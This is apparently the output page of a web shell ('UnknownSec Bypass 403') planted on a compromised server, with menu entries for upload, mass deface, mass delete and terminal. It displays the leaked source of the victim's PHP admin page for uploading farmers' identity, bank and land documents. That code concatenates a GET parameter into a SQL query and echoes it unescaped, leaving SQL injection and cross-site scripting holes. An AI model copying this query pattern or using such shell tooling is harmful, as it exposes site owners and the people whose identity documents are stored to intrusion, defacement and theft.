UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
add_anudaanfarmar_documents.php
<?php include "top.php"; if(isset($_GET['id'])) { $id = $_GET['id']; $sql = "select * from anudaanfarmerdocumenttb where regno='".$id."'"; $result = mysqli_query($conn,$sql); $data=mysqli_fetch_array($result); } ?> <script type="text/javascript"> $(document).ready(function (e){ $("#uploadForm").on('submit',(function(e){ e.preventDefault(); var flag = true; var regno = document.getElementById("regno").value; var aadharfile = document.getElementById("aadharfile").value; var panfile = document.getElementById("panfile").value; var bankfile = document.getElementById("bankfile").value; var khautnifile = document.getElementById("khatunifile").value; var photofile = document.getElementById("photofile").value; var signfile = document.getElementById("signfile").value; var inputField1 = document.getElementById("aadharfile"); if (aadharfile == "" && panfile=="" && bankfile=="" && khautnifile=="" && photofile=="" && signfile=="") { flag = false; alert("Please select file"); document.getElementById("aadharfile").focus(); return false; } try { if (flag == true) { var result = confirm("Do you want to upload file?"); if (result == true) { $.ajax({ url: "upload_anudaanfarmer_document.php", type: "POST", data: new FormData(this), contentType: false, cache: false, processData:false, success: function(data){ const obj = JSON.parse(data); if(obj.code=="1") { document.getElementById("adimg").src='anudaan_document_images/'+obj.path.replaceAll('"', ''); document.getElementById("aadharfile").value=null; } else if(obj.code=="2") { document.getElementById("panimg").src='anudaan_document_images/'+obj.path.replaceAll('"', ''); document.getElementById("panfile").value=null; } else if(obj.code=="3") { document.getElementById("bankimg").src='anudaan_document_images/'+obj.path.replaceAll('"', ''); document.getElementById("bankfile").value=null; } else if(obj.code=="4") { document.getElementById("kha").href='anudaan_document_images/'+obj.path.replaceAll('"', ''); document.getElementById("khatunifile").value=null; } else if(obj.code=="5") { document.getElementById("phimg").src='anudaan_document_images/'+obj.path.replaceAll('"', ''); document.getElementById("photofile").value=null; } else if(obj.code=="6") { document.getElementById("sigimg").src='anudaan_document_images/'+obj.path.replaceAll('"', ''); document.getElementById("signfile").value=null; } else { alert(obj.path); } }, error: function(){} }); } } } catch (Error) { alert(Error); } return; })); }); </script> <div id="page-wrapper" class="gray-bg dashbard-1"> <div class="content-main"> <form enctype="multipart/form-data" id="uploadForm"> <input type="hidden" id="regno" name="regno" value="<?php echo $_GET['id'];?>"> <!--banner--> <div class="banner"> <table width="100%"> <tr> <td width="50%"><b><label name="pageheading" id="pageheading">Add Documents</label></b></td> <td width="50%" align="right"><a class="btn btn-default" href="list_anudaan_farmer.php">Anudaan Farmer List</a></td> </tr> </table> </div> <!--//banner--> <!--gallery--> <div class="gallery"> <div class="col-md-6"> <div class="gallery-img"> <a href="anudaan_document_images/<?php echo $data['aadhar_imagepath']; ?>" class="b-link-stripe b-animate-go swipebox" title="Image Title" > <img class="img-responsive " src="anudaan_document_images/<?php echo $data['aadhar_imagepath']; ?>" id="adimg" name="adimg" alt="" /> <span class="zoom-icon"> </span> </a> </div> <div class="text-gallery"> <h6>Aadhar Card (Size: Width 550px & Hieght 406px): <input type="file" id="aadharfile" name="aadharfile"></h6> </br> <input type="submit" class="btn btn-primary" id="uploadaadhar" onclick="data();" value="Upload"/> </div> </div> <div class="col-md-6"> <div class="gallery-img"> <a href="anudaan_document_images/<?php echo $data['pan_imagepath']; ?>" class="b-link-stripe b-animate-go swipebox" title="Image Title" > <img class="img-responsive " src="anudaan_document_images/<?php echo $data['pan_imagepath']; ?>" id="panimg" name="panimg" alt="" /> <span class="zoom-icon"> </span> </a> </div> <div class="text-gallery"> <h6>Pan Card (Size: Width 550px & Hieght 406px): <input type="file" id="panfile" name="panfile"></h6> </br> <input type="submit" class="btn btn-primary" id="uploadpancard" onclick="data();" value="Upload"/> </div> </div> <div class="col-md-6"> <div class="gallery-img"> <a href="anudaan_document_images/<?php echo $data['bankpassbook_imagepath']; ?>" class="b-link-stripe b-animate-go swipebox" title="Image Title" > <img class="img-responsive " src="anudaan_document_images/<?php echo $data['bankpassbook_imagepath']; ?>" id="bankimg" name="bankimg" alt="" /> <span class="zoom-icon"> </span> </a> </div> <div class="text-gallery"> <h6>Bank Passbook (Size: Width 550px & Hieght 406px): <input type="file" id="bankfile" name="bankfile"></h6> </br> <input type="submit" class="btn btn-primary" id="uploadbankpass" onclick="data();" value="Upload"/> </div> </div> <div class="col-md-6"> <div class="gallery-img"> <a href="anudaan_document_images/<?php echo $data['khatuni_imagepath']; ?>" target="_blank" id="kha" name="kha" title="Image Title" > <img class="img-responsive " src="anudaan_document_images/download.jpg" alt="" /> </a> </div> <div class="text-gallery"> <h6>Khatuni (Upload Pdf Here): <input type="file" id="khatunifile" name="khatunifile"></h6> </br> <input type="submit" class="btn btn-primary" id="uploadkhatuni" onclick="data();" value="Upload"/> </div> </div> <div class="col-md-6"> <div class="gallery-img"> <a href="anudaan_document_images/<?php echo $data['photo_imagepath']; ?>" class="b-link-stripe b-animate-go swipebox" title="Image Title" > <img class="img-responsive " src="anudaan_document_images/<?php echo $data['photo_imagepath']; ?>" id="phimg" name="phimg" alt="" /> <span class="zoom-icon"> </span> </a> </div> <div class="text-gallery"> <h6>Photo (Size: Width 550px & Hieght 406px): <input type="file" id="photofile" name="photofile"></h6> </br> <input type="submit" class="btn btn-primary" id="uploadphoto" onclick="data();" value="Upload"/> </div> </div> <div class="col-md-6"> <div class="gallery-img"> <a href="anudaan_document_images/<?php echo $data['sign_imagepath']; ?>" class="b-link-stripe b-animate-go swipebox" title="Image Title" > <img class="img-responsive " src="anudaan_document_images/<?php echo $data['sign_imagepath']; ?>" id="sigimg" name="sigimg" alt="" /> <span class="zoom-icon"> </span> </a> </div> <div class="text-gallery"> <h6>Sign (Size: Width 550px & Hieght 406px): <input type="file" id="signfile" name="signfile"></h6> </br> <input type="submit" class="btn btn-primary" id="uploadsig" onclick="data();" value="Upload"/> </div> </div> </form> <div class="col-md-12 form-group"> <!--<input type="reset" class="btn btn-default" onclick="reset()" value="Reset"/>--> </div> <div class="clearfix"> </div> </div> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec